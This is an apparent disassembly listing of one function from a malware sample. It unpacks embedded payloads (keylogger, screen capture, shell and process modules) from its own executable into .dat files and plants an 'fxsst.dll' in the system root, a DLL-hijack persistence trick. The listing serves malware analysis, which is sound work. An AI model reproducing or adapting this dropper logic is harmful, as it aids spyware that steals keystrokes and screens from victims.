Function at 0x4032e9
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x710
cmp dword [0x4178c0], 0
push ebx
push esi
push edi
je 0x403831
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetModuleFileNameA
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x108], 0
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
and byte [ebp - 0x710], 0
mov ecx, 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x70f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x710]
push 0x400
push eax
push 0
call edx
mov esi, 0x104
lea eax, [ebp - 0x710]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x108]
push str.Temp_spoolsv.exe
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
test eax, eax
je 0x40339c
push str.Temp_temp098
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x710]
push 0x4151f8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov edi, eax
pop ecx
mov dword [ebp - 4], edi
xor ecx, ecx
cmp edi, ecx
je 0x403831
mov eax, dword [ebp + 8]
cmp eax, 1
jne 0x403402
cmp dword [0x417898], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.File
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
lea eax, [ebp - 0x108]
push esi
push dword [0x417898]
push eax
push dword [0x4178c0]
jmp 0x40362a
cmp eax, 2
jne 0x403449
cmp dword [0x41789c], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.Audio
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x417898]
push esi
lea eax, [ebp - 0x108]
push dword [0x41789c]
push eax
mov eax, dword [0x4178c0]
add ecx, eax
jmp 0x403629
cmp eax, 3
jne 0x403490
cmp dword [0x4178a0], ecx
je 0x403829
lea eax, [ebp - 0x108]
push 0x415280
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x41789c]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178a0]
push eax
mov eax, dword [0x417898]
add ecx, eax
jmp 0x403623
cmp eax, 4
jne 0x4034e4
cmp dword [0x4178a4], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.keybrd
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x41789c]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178a4]
push eax
mov eax, dword [0x4178a0]
add eax, ecx
add eax, dword [0x417898]
add eax, dword [0x4178c0]
push eax
jmp 0x40362a
cmp eax, 5
jne 0x403528
cmp dword [0x4178a8], ecx
je 0x403829
lea eax, [ebp - 0x108]
push 0x415274
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4178a0]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178a8]
push eax
mov eax, dword [0x4178a4]
add eax, ecx
jmp 0x403570
cmp eax, 6
jne 0x40357b
cmp dword [0x4178ac], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.Screen
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4178a4]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178ac]
push eax
mov eax, dword [0x4178a8]
add eax, ecx
add eax, dword [0x4178a0]
add eax, dword [0x41789c]
jmp 0x4034d2
cmp eax, 7
jne 0x4035bf
cmp dword [0x4178b0], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.Service
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4178ac]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178b0]
push eax
mov eax, dword [0x4178a8]
add ecx, eax
jmp 0x40360b
cmp eax, 8
jne 0x403663
cmp dword [0x4178b4], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.ShellFile
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4178b0]
push esi
lea eax, [ebp - 0x108]
push dword [0x4178b4]
push eax
mov eax, dword [0x4178ac]
add ecx, eax
add ecx, dword [0x4178a8]
add ecx, dword [0x4178a4]
add ecx, dword [0x4178a0]
add ecx, dword [0x41789c]
add ecx, dword [0x417898]
add ecx, dword [0x4178c0]
push ecx
push edi
call fcn.0040305d
add esp, 0x1c
test eax, eax
je 0x403831
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push eax
call fcn.00403222
add esp, 0x10
jmp 0x403833
cmp eax, 9
jne 0x4036f4
cmp dword [0x4178b8], ecx
je 0x403829
lea eax, [ebp - 0x108]
push str.Process
push eax
call sub.MSVCRT.dll_strcat
mov ecx, dword [0x4178b4]
push str..dat
push dword [0x4178b8]
lea eax, [ebp - 0x108]
push eax
mov eax, dword [0x4178b0]
add ecx, eax
add ecx, dword [0x4178ac]
add ecx, dword [0x4178a8]
add ecx, dword [0x4178a4]
add ecx, dword [0x4178a0]
add ecx, dword [0x41789c]
add ecx, dword [0x417898]
add ecx, dword [0x4178c0]
push ecx
push edi
call fcn.0040305d
add esp, 0x1c
test eax, eax
je 0x403831
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
jmp 0x403833
cmp eax, 0xa
jne 0x403829
cmp dword [0x4178bc], ecx
je 0x403829
and byte [ebp - 0x310], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x30f]
push str.fxsst
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
and byte [ebp - 0x20c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x310]
push str..dat
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push str.MoveFileExA
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push eax
push str._systemroot_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x20c]
push str._fxsst
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4178b8]
push str..dll
push dword [0x4178bc]
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [0x4178b4]
add ecx, eax
add ecx, dword [0x4178b0]
add ecx, dword [0x4178ac]
add ecx, dword [0x4178a8]
add ecx, dword [0x4178a4]
add ecx, dword [0x4178a0]
add ecx, dword [0x41789c]
add ecx, dword [0x417898]
add ecx, dword [0x4178c0]
push ecx
push dword [ebp - 4]
call fcn.0040305d
add esp, 0x14
test eax, eax
je 0x403831
push dword [ebp - 4]
jmp 0x40382a
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret